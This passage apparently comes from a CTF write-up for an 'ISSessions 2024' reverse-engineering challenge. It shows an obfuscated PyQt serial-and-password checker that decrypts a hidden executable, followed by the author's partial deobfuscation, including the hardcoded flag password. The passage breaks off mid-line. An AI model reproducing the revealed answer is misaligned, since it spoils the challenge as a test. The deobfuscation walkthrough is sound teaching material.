))and (chr (0x4e |0x5f ))or (chr (0x40 |0x5d )))+(((0x151 &amp;0x190 )&gt;=(0xd7 &amp;0xdf ))and (chr (0x34 &amp;0x3b ))or (chr (0x13 ^0x34 )))+(((0xff &amp;0xff )==(0xbd &amp;0xb5 ))and (chr (0x11 ^0x65 ))or (chr (0x76 |0x46 )))+(((0xee &amp;0xdf )==(0x56 |0x8d ))and (chr (0x7 ^0x3c ))or (chr (0x33 |0x22 )))+(((0x15d ^0x76 )&gt;(0xff &amp;0xfe ))and (chr (0x30 |0x42 ))or (chr (0x78 &amp;0x7d )))+(((0x2 ^0x90 )==(0x88 ^0x35 ))and (chr (0x15 ^0x7c ))or (chr (0x7c &amp;0x6d )))+(((0x12 |0x112 )&gt;=(0x92 |0xb ))and (chr (0x20 |0x10 ))or (chr (0x21 |0x30 )))+(((0xa1 |0xcc )&lt;=(0x147 &amp;0x107 ))and (chr (0x30 |0x4 ))or (chr (0x28 |0x11 )))+(((0x6e &amp;0x7f )&lt;=(0xc |0x7b ))and (chr (0x65 &amp;0x74 ))or (chr (0x64 |0x44 ))) super ().__init__ () O0OOOOOOO00OO0OO0 .fgdgdfh4545 () def fgdgdfh4545 (OO00O0O00O000O0O0 ): OO00O0O00O000O0O0 .setWindowTitle (&#39;ISSessions 2024 CTF&#39;) OO00O0O00O000O0O0 .resize (400 ,100 ) OO00O0O00O000O0O0 .serialNumberInput =QLineEdit (OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .validateButton =QPushButton (&#39;Validate&#39;,OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .validateButton .clicked .connect (OO00O0O00O000O0O0 .kljfskjyi737iy2 ) OO00O0O00O000O0O0 .resultLabel =QLabel (&#39;&#39;,OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .passwordInput =QLineEdit (OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .passwordInput .setEchoMode (QLineEdit .Password ) OO00O0O00O000O0O0 .passwordInput .hide () OO00O0O00O000O0O0 .serialLabel =QLabel ((((0xcc^0x35)==(0x54|0x68))and(chr(0x47^0xb))or(chr(0x55&amp;0x4d)))+(((0xbf&amp;0x9a)&lt;=(0x41|0x64))and(chr(0x1c^0x69))or(chr(0x7f&amp;0x6e)))+(((0x30^0x5a)&lt;=(0x80|0x0))and(chr(0x4|0x70))or(chr(0x79&amp;0x7a)))+(((0xaa^0x67)!=(0x16a^0x75))and(chr(0x65&amp;0x75))or(chr(0x3f^0x5f)))+(((0x15d&amp;0x19f)!=(0x49^0xb9))and(chr(0x76&amp;0x72))or(chr(0x33|0x47)))+(((0x67^0xda)&gt;(0xf5&amp;0xf6))and(chr(0x32^0x14))or(chr(0x39&amp;0x20)))+(((0x199^0x98)!=(0x95|0xd3))and(chr(0x5f&amp;0x73))or(chr(0x7d&amp;0x5d)))+(((0xc8^0x3d)==(0x108|0x110))and(chr(0x6e&amp;0x7d))or(chr(0x67&amp;0x75)))+(((0x110&amp;0x1f0)&lt;(0xc1^0x5))and(chr(0x68|0xe))or(chr(0x34^0x46)))+(((0x22|0x122)==(0xfc&amp;0xfd))and(chr(0x7f^0x1c))or(chr(0x4^0x6d)))+(((0xc1|0xea)&gt;=(0xbb&amp;0xeb))and(chr(0x40|0x21))or(chr(0x5f&amp;0x57)))+(((0xf6&amp;0xfe)==(0x1a0^0xb2))and(chr(0x15^0x64))or(chr(0x28|0x64)))+(((0xf2|0x90)&lt;(0x56^0xb9))and(chr(0x17&amp;0x17))or(chr(0x20|0x20)))+(((0x94^0x4)!=(0xfd&amp;0xee))and(chr(0x5e&amp;0x4f))or(chr(0x52&amp;0x72)))+(((0x87&amp;0x9f)&lt;(0xca&amp;0x8b))and(chr(0x77&amp;0x7d))or(chr(0x66^0x17)))+(((0xeb&amp;0x9f)&gt;=(0x115|0x10a))and(chr(0x10|0x72))or(chr(0x59^0x34)))+(((0x65|0x4c)==(0xa3^0x4e))and(chr(0x28|0x4a))or(chr(0x2f^0x4d)))+(((0xb5^0x3)&gt;(0xbe&amp;0xb3))and(chr(0x5d^0x38))or(chr(0x3e^0x58)))+(((0x121|0x10a)&gt;=(0x4b^0xe1))and(chr(0x50^0x22))or(chr(0x2^0x74)))+(((0x4e^0xc7)&gt;=(0x70&amp;0x72))and(chr(0x3a&amp;0x3f))or(chr(0x4e^0xf))),OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .passwordLabel =QLabel ((((0xe3^0x1e5)&lt;=(0xeb&amp;0xf2))and(chr(0x10^0x2b))or(chr(0x61^0x24)))+(((0x10^0xa7)!=(0x107&amp;0x13f))and(chr(0xa|0x64))or(chr(0x7f&amp;0x77)))+(((0x1c7^0xcc)!=(0x81|0x81))and(chr(0x64|0x70))or(chr(0x28|0x4b)))+(((0xa3&amp;0xf7)&gt;(0x138&amp;0x155))and(chr(0x69^0x36))or(chr(0x11^0x74)))+(((0x88|0xa8)==(0x13^0xfd))and(chr(0x74|0x63))or(chr(0x72&amp;0x7f)))+(((0x8d|0xed)==(0xe2|0x8a))and(chr(0xb^0x12))or(chr(0xe^0x2e)))+(((0x1b^0xeb)&lt;=(0x90|0x47))and(chr(0x7a&amp;0x50))or(chr(0x0|0x50)))+(((0x3d^0x13c)!=(0x3d^0x4c))and(chr(0x71&amp;0x6f))or(chr(0x43^0x24)))+(((0x82^0x18f)&gt;(0x13f&amp;0x12a))and(chr(0x58^0x2d))or(chr(0x73|0x60)))+(((0x2a|0xb9)!=(0xc1&amp;0xdf))and(chr(0x70|0x23))or(chr(0x44^0x31)))+(((0x31^0x98)&gt;(0x11f&amp;0x18d))and(chr(0x77&amp;0x73))or(chr(0x77&amp;0x77)))+(((0xc^0x7f)!=(0x6f&amp;0x6e))and(chr(0x7f&amp;0x6f))or(chr(0x76&amp;0x74)))+(((0xb3&amp;0xb2)&gt;(0x10|0x80))and(chr(0x7b&amp;0x72))or(chr(0x40|0x68)))+(((0xbf^0x5b)==(0xd0|0xc1))and(chr(0x62^0xc))or(chr(0x36^0x52)))+(((0x8^0xa3)&lt;(0x12a&amp;0x19e))and(chr(0x3b&amp;0x3a))or(chr(0x24|0x30))),OO00O0O00O000O0O0 ) OO00O0O00O000O0O0 .passwordLabel .hide () OOO00O0OO0O0000OO =QVBoxLayout (OO00O0O00O000O0O0 ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .serialLabel ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .serialNumberInput ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .resultLabel ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .passwordLabel ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .passwordInput ) OOO00O0OO0O0000OO .addWidget (OO00O0O00O000O0O0 .validateButton ) def dfjshdfk7372gjb (OO0OO0OO000O0O0OO ,O00OO0OO00O00OO00 ): try : O0O0OO00O0O00O0OO =pefile .PE (O00OO0OO00O00OO00 ) return True except : return False def kljfskjyi737iy2 (O00OOOO00OO000000 ): OO0OO0OOO0O0O0000 =O00OOOO00OO000000 .serialNumberInput .text () OO0OOOOOOOOO0OOOO =str (datetime .now ().year ) O0OO0O000O000O000 =tthfghfjfr4343 ((((0x2a ^0x54 )&lt;=(0x48 ^0x3e ))and (chr (0xf ^0x43 ))or (chr (0x8 ^0x4a )))+(((0x8 |0x89 )==(0xdf &amp;0xeb ))and (chr (0x2f &amp;0x3f ))or (chr (0x9 ^0x3b )))+(((0x98 ^0x26 )&lt;=(0xa0 ^0x7a ))and (chr (0x6b &amp;0x53 ))or (chr (0x4d &amp;0x66 )))+(((0xb9 ^0x4d )&gt;(0x99 ^0x1bb ))and (chr (0x1 |0x34 ))or (chr (0x37 &amp;0x33 )))+(((0xa5 &amp;0xb4 )&lt;=(0x44 |0xc4 ))and (chr (0x56 &amp;0x64 ))or (chr (0x3e ^0x5 )))+(((0x2e |0xa7 )&lt;(0x5f ^0x93 ))and (chr (0x30 |0x14 ))or (chr (0x25 |0x19 )))+(((0xc4 ^0x58 )&lt;=(0x68 |0x50 ))and (chr (0x38 ^0x75 ))or (chr (0x75 &amp;0x45 )))+(((0x44 ^0x98 )&lt;(0x4b ^0xe7 ))and (chr (0x39 |0x39 ))or (chr (0x4 ^0x31 )))+(((0x45 |0x28 )&lt;=(0x4e ^0x89 ))and (chr (0x2e &amp;0x2f ))or (chr (0x2c &amp;0x3e )))+(((0xf5 &amp;0xff )==(0x6b &amp;0x6f ))and (chr (0x2a ^0x6c ))or (chr (0x76 ^0x32 )))+(((0xd5 ^0x5 )!=(0xc ^0xbe ))and (chr (0x7c ^0x3d ))or (chr (0xb ^0x33 )))+(((0x67 &amp;0x77 )&gt;=(0xc7 ^0x22 ))and (chr (0x50 |0x51 ))or (chr (0x74 &amp;0x5d )))) if OO0OO0OOO0O0O0000 .startswith (OO0OOOOOOOOO0OOOO )and OO0OO0OOO0O0O0000 [len (OO0OOOOOOOOO0OOOO )+1 :len (OO0OOOOOOOOO0OOOO )+33 ]==O0OO0O000O000O000 : O00OOOO00OO000000 .resultLabel .setText ((((0xc2&amp;0xe9)&lt;=(0x10a&amp;0x1ea))and(chr(0x53&amp;0x5b))or(chr(0x72^0x3c)))+(((0x1b^0x132)&lt;(0x1a^0x13d))and(chr(0x72^0x29))or(chr(0x5b^0x3e)))+(((0x97^0x58)&gt;(0x76&amp;0x7f))and(chr(0x7f^0xd))or(chr(0x7a&amp;0x76)))+(((0x53|0x70)&gt;=(0x50^0x14b))and(chr(0x7f&amp;0x65))or(chr(0x7a^0x13)))+(((0x109|0x129)&gt;=(0x101|0x1a))and(chr(0x49^0x28))or(chr(0x66^0x7)))+(((0xb7&amp;0xfd)&lt;=(0x8f|0xaa))and(chr(0x4d|0x20))or(chr(0xf^0x63)))+(((0x184&amp;0x11b)&gt;(0x110|0x2))and(chr(0x2|0x22))or(chr(0x20|0x0)))+(((0x82|0x98)&gt;=(0xef|0xc6))and(chr(0x76&amp;0x75))or(chr(0xc|0x6e)))+(((0x6d&amp;0x75)&gt;=(0x9c^0x4))and(chr(0x26|0x56))or(chr(0x1c^0x69)))+(((0xa0|0xa4)&gt;=(0x86^0x31))and(chr(0x45^0x28))or(chr(0x4^0x69)))+(((0x16c^0x62)&lt;(0x40|0x80))and(chr(0x65|0x25))or(chr(0x72&amp;0x6a)))+(((0x76^0x5)&gt;(0xf0&amp;0xa1))and(chr(0x7b&amp;0x61))or(chr(0x75&amp;0x65)))+(((0x50|0xd2)==(0x48|0x84))and(chr(0x25|0x75))or(chr(0x30|0x52)))+(((0x64|0xbc)&gt;(0xd1|0x86))and(chr(0x38&amp;0x24))or(chr(0x3d^0x1e)))+(((0x8c^0x62)&lt;=(0xd7&amp;0xd7))and(chr(0x70&amp;0x76))or(chr(0x7b&amp;0x69)))+(((0x80|0xa2)!=(0xa1|0x80))and(chr(0x20|0x53))or(chr(0x2d|0x6b)))+(((0x55^0xe9)&gt;=(0xb1&amp;0xb5))and(chr(0x28&amp;0x24))or(chr(0x2f&amp;0x25)))+(((0xb7&amp;0xb3)!=(0xf5&amp;0xfd))and(chr(0x6a^0x1c))or(chr(0xbe^0x3e)))+(((0xa3^0x57)&gt;(0x11f&amp;0x1ec))and(chr(0x1a^0x42))or(chr(0x28^0x49)))+(((0x0^0xf8)==(0xd^0xb7))and(chr(0x79^0x13))or(chr(0x7c&amp;0x6c)))+(((0x18e&amp;0x147)&lt;(0x5f^0xa3))and(chr(0x7a^0xb))or(chr(0x6b&amp;0x79)))+(((0x92|0x3e)&lt;=(0x13b&amp;0x1a9))and(chr(0x4|0x60))or(chr(0x7b&amp;0x6e)))+(((0x5^0x6b)&gt;=(0x9c|0x28))and(chr(0x29&amp;0x29))or(chr(0x3e^0x1f)))) O00OOOO00OO000000 .passwordLabel .show () O00OOOO00OO000000 .passwordInput .show () O00OOOO00OO000000 .validateButton .clicked .disconnect () O00OOOO00OO000000 .validateButton .clicked .connect (O00OOOO00OO000000 .hkfhd98273i4ha ) else : O00OOOO00OO000000 .attemptCount +=1 O00OOOO00OO000000 .resultLabel .setText (f&#39;Invalid number. Attempts left: {3 - O00OOOO00OO000000.attemptCount}&#39;) if O00OOOO00OO000000 .attemptCount &gt;=3 : O00OOOO00OO000000 .gdfhfgj45645y4 () def hkfhd98273i4ha (OO00OOOO000O0000O ): if OO00OOOO000O0000O .passwordInput .text ()==OO00OOOO000O0000O .final_password : OO00OOOO000O0000O .resultLabel .setText ((((0x6d |0xd5 )&gt;=(0x90 |0x98 ))and (chr (0x50 |0x10 ))or (chr (0x59 &amp;0x4f )))+(((0xff &amp;0xbd )&gt;(0x8 ^0xd0 ))and (chr (0x63 &amp;0x6b ))or (chr (0x6b &amp;0x61 )))+(((0x2c ^0xc9 )&gt;=(0x80 |0x80 ))and (chr (0x7b &amp;0x77 ))or (chr (0x1c ^0x65 )))+(((0x9a ^0x1bc )!=(0x43 ^0x34 ))and (chr (0x50 |0x63 ))or (chr (0x77 &amp;0x7d )))+(((0xac |0xaa )&lt;(0x15f &amp;0x1b5 ))and (chr (0x76 |0x11 ))or (chr (0x7f &amp;0x77 )))+(((0xfc ^0xa )!=(0xd4 &amp;0x94 ))and (chr (0x7f &amp;0x6f ))or (chr (0x64 |0x52 )))+(((0x58 ^0x22 )!=(0xd6 ^0x6e ))and (chr (0x3d ^0x4f ))or (chr (0x74 &amp;0x71 )))+(((0xfb &amp;0xf6 )&gt;=(0x95 ^0x26 ))and (chr (0x64 &amp;0x76 ))or (chr (0x76 ^0x2d )))+(((0xf7 &amp;0x97 )&lt;(0x75 ^0xe1 ))and (chr (0x1 |0x1b ))or (chr (0x20 &amp;0x34 )))+(((0x85 |0x70 )!=(0xdf &amp;0xdc ))and (chr (0x41 |0x29 ))or (chr (0x77 &amp;0x73 )))+(((0x64 &amp;0x66 )&gt;(0x49 ^0x35 ))and (chr (0x76 &amp;0x7e ))or (chr (0x63 ^0x10 )))+(((0xc1 &amp;0x85 )&lt;=(0x11f |0x1f ))and (chr (0x25 ^0x5 ))or (chr (0x17 ^0x32 )))+(((0x10e &amp;0x12a )&lt;(0xfa &amp;0xf6 ))and (chr (0x3f ^0x46 ))or (chr (0x77 &amp;0x7e )))+(((0xf1 |0xc1 )!=(0x6c ^0x175 ))and (chr (0x41 |0x60 ))or (chr (0x4d ^0x2f )))+(((0xa1 |0x64 )&lt;=(0xbf &amp;0xae ))and (chr (0x67 |0x60 ))or (chr (0x7c &amp;0x6c )))+(((0xbc ^0x44 )&lt;=(0x71 ^0xc ))and (chr (0x71 &amp;0x7c ))or (chr (0x8 |0x61 )))+(((0x7e &amp;0x7f )!=(0xa1 |0x8c ))and (chr (0x64 &amp;0x65 ))or (chr (0x20 |0x6a )))+(((0x109 |0x8 )!=(0xd3 &amp;0xd5 ))and (chr (0x23 &amp;0x31 ))or (chr (0x3f ^0x1c )))) OO00OOOO000O0000O .jdfjghkhkd32 () else : OO00OOOO000O0000O .attemptCount +=1 OO00OOOO000O0000O .resultLabel .setText (f&#39;Invalid. Attempts left: {3 - OO00OOOO000O0000O.attemptCount}&#39;) if OO00OOOO000O0000O .attemptCount &gt;=3 : OO00OOOO000O0000O .gdfhfgj45645y4 () def gdfhfgj45645y4 (OO00OO000O00O00OO ): OO00OO000O00O00OO .resultLabel .setText (&#39;Too many incorrect attempts. Application will exit.&#39;) QApplication .quit () def jdfjghkhkd32 (O0O000OO0O0O00O00 ): O0OOOO0OOOO00O0OO =(((0xa0 ^0x45 )&gt;=(0x84 ^0x19a ))and (chr (0x28 |0x19 ))or (chr (0x66 &amp;0x43 )))+(((0x15 ^0x62 )==(0x54 ^0xab ))and (chr (0x37 &amp;0x39 ))or (chr (0x2d ^0x1f )))+(((0xdf &amp;0xfd )==(0x85 |0x11 ))and (chr (0x41 |0x1 ))or (chr (0x3 |0x40 )))+(((0xf7 &amp;0xb4 )&gt;(0x80 |0x48 ))and (chr (0x28 |0x30 ))or (chr (0x32 |0x31 )))+(((0x3e ^0x83 )&lt;(0x7e &amp;0x74 ))and (chr (0x3d &amp;0x3f ))or (chr (0x0 |0x44 )))+(((0x63 ^0x87 )==(0xab &amp;0xe3 ))and (chr (0x2d |0x1 ))or (chr (0x36 ^0x2 )))+(((0xb4 |0xa0 )&lt;=(0xc0 |0xc1 ))and (chr (0x45 &amp;0x4f ))or (chr (0xc |0x45 )))+(((0x3a ^0xf4 )==(0x6 ^0x63 ))and (chr (0x15 ^0x2a ))or (chr (0x35 &amp;0x35 )))+(((0xdd &amp;0xb7 )==(0xd7 &amp;0xbf ))and (chr (0x27 |0x4 ))or (chr (0x24 |0xa )))+(((0xf9 &amp;0xf1 )&gt;=(0x4 |0x84 ))and (chr (0x45 &amp;0x4e ))or (chr (0x17 ^0x5c )))+(((0xa6 |0x6 )==(0x101 &amp;0x1f7 ))and (chr (0x5 |0x45 ))or (chr (0x20 ^0x61 )))+(((0xa7 ^0xc )&lt;=(0x95 ^0x14 ))and (chr (0x4d ^0x1c ))or (chr (0x44 |0x50 ))) OO0OO00O0000OOOO0 =O0O000OO0O0O00O00 .final_password OO00OOO0OO00O0OO0 =(((0xbb &amp;0xb7 )!=(0x80 |0x8 ))and (chr (0x51 |0x11 ))or (chr (0x7b &amp;0x5f )))+(((0x75 ^0xb7 )&gt;(0xff &amp;0xf5 ))and (chr (0x0 ^0x3a ))or (chr (0x56 &amp;0x45 )))+(((0x48 ^0x3a )&lt;(0x8a &amp;0xab ))and (chr (0x25 |0x60 ))or (chr (0x14 ^0x7b )))+(((0x65 ^0x1e )!=(0xf4 &amp;0xb6 ))and (chr (0x3 |0x62 ))or (chr (0x4e ^0x23 )))+(((0xf5 |0xb0 )&lt;(0x27 |0x48 ))and (chr (0x73 |0x73 ))or (chr (0x50 |0x32 )))+(((0xd9 &amp;0xef )&gt;(0x5 |0xe2 ))and (chr (0x79 &amp;0x79 ))or (chr (0x7f &amp;0x79 )))+(((0x1ae ^0xaa )&lt;(0xc9 |0xc3 ))and (chr (0x4a |0x63 ))or (chr (0x71 &amp;0x70 )))+(((0x23 ^0x4a )&gt;=(0xfe &amp;0xdc ))and (chr (0x1 ^0x73 ))or (chr (0x13 ^0x67 )))+(((0x6d ^0x14c )&lt;=(0xcb &amp;0xeb ))and (chr (0x7 ^0x77 ))or (chr (0x2d |0x67 )))+(((0xc7 ^0x68 )&lt;=(0x4 |0xa0 ))and (chr (0x30 ^0x5a ))or (chr (0x27 ^0x55 )))+(((0x10c |0x0 )&lt;(0x107 ^0xe ))and (chr (0x3f ^0x8 ))or (chr (0x19 ^0x37 )))+(((0x81 ^0x71 )!=(0x4e ^0xa8 ))and (chr (0x21 |0x44 ))or (chr (0x19 ^0x44 )))+(((0x10a |0x5 )==(0x7f &amp;0x7f ))and (chr (0x5f ^0x21 ))or (chr (0x7a &amp;0x79 )))+(((0xd7 ^0x1fe )&gt;=(0xd |0x91 ))and (chr (0x67 ^0x2 ))or (chr (0x77 ^0x1d ))) with open (O0OOOO0OOOO00O0OO ,&#39;rb&#39;)as OO0000O0O000O0O00 : OOOOO000OOOO0000O =OO0000O0O000O0O00 .read (16 ) OO000OOO0OOO00000 =OO0000O0O000O0O00 .read (16 ) O0OOO00OO00OOO000 =OO0000O0O000O0O00 .read () OOOO000OOOO00OO00 =PBKDF2 (OO0OO00O0000OOOO0 ,OOOOO000OOOO0000O ,dkLen =32 ) O0OOOO0O0OO0000OO =AES .new (OOOO000OOOO00OO00 ,AES .MODE_CBC ,iv =OO000OOO0OOO00000 ) O0OOO0O0O0O0O0O0O =O0OOOO0O0OO0000OO .decrypt (O0OOO00OO00OOO000 ) O00000OO00000000O =O0OOO0O0O0O0O0O0O [-1 ] O0OOO0O0O0O0O0O0O =O0OOO0O0O0O0O0O0O [:-O00000OO00000000O ] with open (OO00OOO0OO00O0OO0 ,&#39;wb&#39;)as OO0000O0O000O0O00 : OO0000O0O000O0O00 .write (O0OOO0O0O0O0O0O0O ) if O0O000OO0O0O00O00 .dfjshdfk7372gjb (OO00OOO0OO00O0OO0 ): O0O000OO0O0O00O00 .resultLabel .setText ((((0x44^0xf4)==(0x1a^0xff))and(chr(0x3f&amp;0x3d))or(chr(0x0|0x44)))+(((0x104|0x105)&gt;(0x40|0x88))and(chr(0x75&amp;0x67))or(chr(0x19^0x70)))+(((0x90|0x80)&gt;(0x3f^0x4b))and(chr(0x7b&amp;0x63))or(chr(0x6d&amp;0x79)))+(((0x145^0x60)==(0xa|0x108))and(chr(0x28|0x52))or(chr(0x7b&amp;0x72)))+(((0x10c|0xd)&gt;(0x103|0x3))and(chr(0x79&amp;0x7d))or(chr(0x7e&amp;0x7d)))+(((0x30|0x98)&lt;(0x9d&amp;0xb1))and(chr(0x3|0x71))or(chr(0x72&amp;0x79)))+(((0xfe&amp;0xec)==(0xd^0xae))and(chr(0x7d&amp;0x7d))or(chr(0x59^0x2d)))+(((0x77^0xe2)&gt;(0x67&amp;0x6d))and(chr(0x23^0x4a))or(chr(0x26|0x64)))+(((0xa5^0x1ad)&lt;(0x76&amp;0x77))and(chr(0x46^0x36))or(chr(0x57^0x38)))+(((0xd6&amp;0xd9)==(0x11e&amp;0x17f))and(chr(0x6f&amp;0x6d))or(chr(0x6f&amp;0x7e)))+(((0x8e|0x90)&gt;=(0xff&amp;0xff))and(chr(0x24^0x6))or(chr(0x13^0x33)))+(((0xbb&amp;0xd9)&lt;(0x15a&amp;0x19a))and(chr(0x77&amp;0x63))or(chr(0x64^0xf)))+(((0xd5&amp;0xe1)==(0xbc&amp;0xfe))and(chr(0x28|0x4e))or(chr(0x4b^0x24)))+(((0x7f^0x12)&gt;(0x147&amp;0x134))and(chr(0x63|0x5))or(chr(0x51^0x3c)))+(((0x40|0x80)!=(0xc8^0x2f))and(chr(0x73&amp;0x78))or(chr(0x79&amp;0x6a)))+(((0x1db^0xd1)&lt;(0xd7&amp;0xf7))and(chr(0x63|0x62))or(chr(0x1a^0x76)))+(((0x10a&amp;0x1d8)&lt;(0xf7&amp;0x95))and(chr(0x5f|0x59))or(chr(0x54^0x31)))+(((0x141^0x4a)&lt;=(0x39^0xd1))and(chr(0x6b|0x50))or(chr(0x37^0x43)))+(((0xf4&amp;0xcc)&gt;=(0x124|0x20))and(chr(0x7d^0x16))or(chr(0x25|0x41)))+(((0xdd&amp;0xfe)&lt;=(0xda|0x1c))and(chr(0x68^0xc))or(chr(0x7f&amp;0x6b)))+(((0x9f&amp;0x96)!=(0x1e|0x104))and(chr(0x2e&amp;0x3e))or(chr(0x36&amp;0x27)))+(((0x1f2^0xee)&gt;(0x17f&amp;0x111))and(chr(0x3^0x9))or(chr(0x1|0x11)))+(((0xa9|0xc1)==(0xec&amp;0xa5))and(chr(0x6c^0x2e))or(chr(0x48|0x4c)))+(((0xcd&amp;0xf7)&gt;(0xbe&amp;0xbd))and(chr(0x7f&amp;0x6f))or(chr(0x6c|0x40)))+(((0x4a|0x63)&gt;(0x1fa&amp;0x122))and(chr(0x66&amp;0x7f))or(chr(0x5b^0x3a)))+(((0x64|0x9c)==(0x45^0xad))and(chr(0x75&amp;0x65))or(chr(0x7a^0x1e)))+(((0x7c&amp;0x7e)&lt;(0x9c&amp;0x9b))and(chr(0x65|0x60))or(chr(0x60|0x61)))+(((0x132&amp;0x1c2)&lt;=(0xce&amp;0xee))and(chr(0x76&amp;0x77))or(chr(0x72&amp;0x7a)))+(((0xd3|0x11)&lt;=(0x4c^0xc3))and(chr(0x10|0x8))or(chr(0x0|0x20)))+(((0xac^0x70)&lt;(0xec|0xc5))and(chr(0x28|0x48))or(chr(0x41|0x25)))+(((0xc9|0x49)&gt;=(0xfd&amp;0xff))and(chr(0x5a&amp;0x5d))or(chr(0x66^0x7)))+(((0xa1|0x10)&gt;=(0x88^0x5))and(chr(0x73&amp;0x7f))or(chr(0x76^0x4)))+(((0x94|0x2c)&lt;(0x6b^0x8f))and(chr(0x20|0x20))or(chr(0x1e&amp;0x1b)))+(((0x0|0xc1)&lt;=(0xaf&amp;0xdf))and(chr(0x6b&amp;0x7f))or(chr(0x22|0x42)))+(((0xa2^0x47)&lt;(0x113|0x10b))and(chr(0x68^0xd))or(chr(0x6c^0x4)))+(((0xc3^0x64)==(0xdf&amp;0xe5))and(chr(0xc|0x68))or(chr(0x6d&amp;0x75)))+(((0xc4^0x25)&gt;=(0xba^0x19c))and(chr(0x6d&amp;0x79))or(chr(0x4e|0x22)))+(((0x17f&amp;0x1a8)&gt;=(0x4f^0xd9))and(chr(0x0^0x20))or(chr(0x8|0x20)))+(((0x102|0x2)!=(0x99|0xcd))and(chr(0x49^0x3a))or(chr(0x0|0x74)))+(((0x68^0xad)&gt;(0x120^0x4))and(chr(0x8|0x5b))or(chr(0x61|0x20)))+(((0xa3^0x182)&lt;(0xe7&amp;0xe1))and(chr(0x62|0x50))or(chr(0x72^0x4)))+(((0x15e&amp;0x10e)&lt;=(0xd0|0xb0))and(chr(0x6f&amp;0x7a))or(chr(0x65&amp;0x7d)))+(((0xd^0x99)&lt;=(0x1cf&amp;0x107))and(chr(0x57^0x33))or(chr(0x6f&amp;0x63)))+(((0xea^0x4b)!=(0x1d^0x112))and(chr(0x2e&amp;0x3f))or(chr(0x4|0x2d)))) else : O0O000OO0O0O00O00 .resultLabel .setText (&#39;Invalid executable file.&#39;) O0O000OO0O0O00O00 .resultLabel .setText ((((0xd9^0x2)&gt;(0xdf&amp;0xef))and(chr(0x57&amp;0x44))or(chr(0x35^0xb)))+(((0x23|0xc3)&lt;(0x82|0x84))and(chr(0x69|0x6a))or(chr(0x65&amp;0x7f)))+(((0x15^0x64)==(0xd5&amp;0xff))and(chr(0x5c^0x39))or(chr(0x34^0x57)))+(((0xfd&amp;0xa5)==(0x1a^0xfa))and(chr(0x7a&amp;0x70))or(chr(0x12|0x60)))+(((0x82|0x40)&gt;(0x44|0x88))and(chr(0x64|0x74))or(chr(0x41|0x38)))+(((0x2e|0xa2)==(0x41^0x80))and(chr(0x68^0xf))or(chr(0x76&amp;0x78)))+(((0x15b^0x7c)&lt;=(0x2|0x113))and(chr(0x5e^0x26))or(chr(0x7c&amp;0x76)))+(((0x8b^0x19e)!=(0x6^0x73))and(chr(0x69&amp;0x6b))or(chr(0x6^0x75)))+(((0x13f&amp;0x1ab)&lt;(0xfd&amp;0xff))and(chr(0x7d&amp;0x74))or(chr(0x4f|0x68)))+(((0x87^0x4e)&lt;(0x6b&amp;0x6b))and(chr(0x11|0x71))or(chr(0x4e^0x20)))+(((0x8|0xe8)&gt;(0xf^0x67))and(chr(0x20|0x20))or(chr(0x14|0x18)))+(((0xe3|0x76)&lt;=(0xc1|0x1b))and(chr(0x4d^0x21))or(chr(0x63&amp;0x67)))+(((0x10c|0x8)&gt;=(0xd3&amp;0xf3))and(chr(0x20^0x4f))or(chr(0x67&amp;0x77)))+(((0x8|0xa4)&gt;=(0x56^0xf3))and(chr(0x65^0x8))or(chr(0x14^0x7f)))+(((0xe7&amp;0xab)&lt;=(0xb2|0x17))and(chr(0x38^0x48))or(chr(0x69|0x59)))+(((0x11b&amp;0x19f)!=(0xfb&amp;0xd9))and(chr(0x7d&amp;0x6c))or(chr(0x6b&amp;0x69)))+(((0x2|0x92)&lt;(0xc7&amp;0xa3))and(chr(0x6e&amp;0x6e))or(chr(0x1b^0x7e)))+(((0x92|0x4)!=(0x166&amp;0x13b))and(chr(0x1e^0x6a))or(chr(0x28^0x58)))+(((0xc7&amp;0xad)&gt;(0x81|0x51))and(chr(0x6e&amp;0x74))or(chr(0x65|0x60)))+(((0x48|0x24)&lt;(0xb6&amp;0x96))and(chr(0x40|0x64))or(chr(0x7b&amp;0x67)))+(((0xc2^0x4)&lt;=(0x96&amp;0x95))and(chr(0x3e&amp;0x33))or(chr(0x22|0xc)))) if __name__ ==&#39;__main__&#39;: app =QApplication (sys .argv ) ex =CTFChallenge () ex .show () sys .exit (app .exec_ ()) Ouch.. let&rsquo;s make that more readable. We can evaluate all the obfuscated strings with the python interpreter, and then just replace them. We can normalize a lot of the variable names by looking at the documentation for a lot of the python libraries, and by renaming the first argument for all the class methods to the conventional nameself.\nimport sys from PyQt5.QtWidgets import ( QApplication, QWidget, QLineEdit, QPushButton, QVBoxLayout, QLabel, ) import hashlib import subprocess from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 import os from datetime import datetime import pefile def md5sum(datfile): hasher = hashlib.md5() with open(datfile, &#34;rb&#34;) as f: for i in iter(lambda: f.read(4096), b&#34;&#34;): hasher.update(i) return hasher.hexdigest() class CTFChallenge(QWidget): def __init__(self): self.attemptCount = 0 self.final_password = &#34;Str34mC1ph3r_0v3rl04d&#34; super().__init__() self.init_window() def init_window(self): self.setWindowTitle(&#34;ISSessions 2024 CTF&#34;) self.resize(400, 100) self.serialNumberInput = QLineEdit(self) self.validateButton = QPushButton(&#34;Validate&#34;, self) self.validateButton.clicked.connect(self.check_serial) self.resultLabel = QLabel(&#34;&#34;, self) self.passwordInput = QLineEdit(self) self.passwordInput.setEchoMode(QLineEdit.Password) self.passwordInput.hide() self.serialLabel = QLabel(&#34;Enter Serial Number:&#34;, self) self.passwordLabel = QLabel(&#34;Enter Password:&#34;, self) self.passwordLabel.hide() box = QVBoxLayout(self) box.addWidget(self.serialLabel) box.addWidget(self.serialNumberInput) box.addWidget(self.resultLabel) box.addWidget(self.passwordLabel) box.addWidget(self.passwordInput) box.addWidget(self.validateButton) def is_valid_PE(self, pefilename): try: result = pefile.PE(pefilename) return True except: return False def check_serial(self): serial_input = self.serialNumberInput.text() year = str(datetime.now().year) md5_hash = md5sum(&#34;B2C3D4E5.DAT&#34;) if ( serial_input.startswith(year) and serial_input[len(year) + 1 : len(year) + 33] == 